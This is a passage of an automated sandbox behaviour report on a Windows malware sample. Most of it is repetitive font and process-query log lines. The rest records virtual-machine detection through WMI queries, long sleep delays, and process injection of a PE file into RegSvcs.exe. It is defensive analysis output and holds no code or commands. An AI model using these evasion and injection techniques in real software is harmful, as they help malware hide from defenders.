Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe TID: 5960	Thread sleep time: -40023s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe TID: 5980	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Window / User API: threadDelayed 642

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Thread delayed: delay time: 40023			Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: RegSvcs.exe, 00000001.00000003.292874133.0000000005B21000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.528335523.0000000005B31000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 42C000	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 42E000	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 6CB008	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Jump to behavior

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Users\user\Desktop\g0PWOnCNZH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
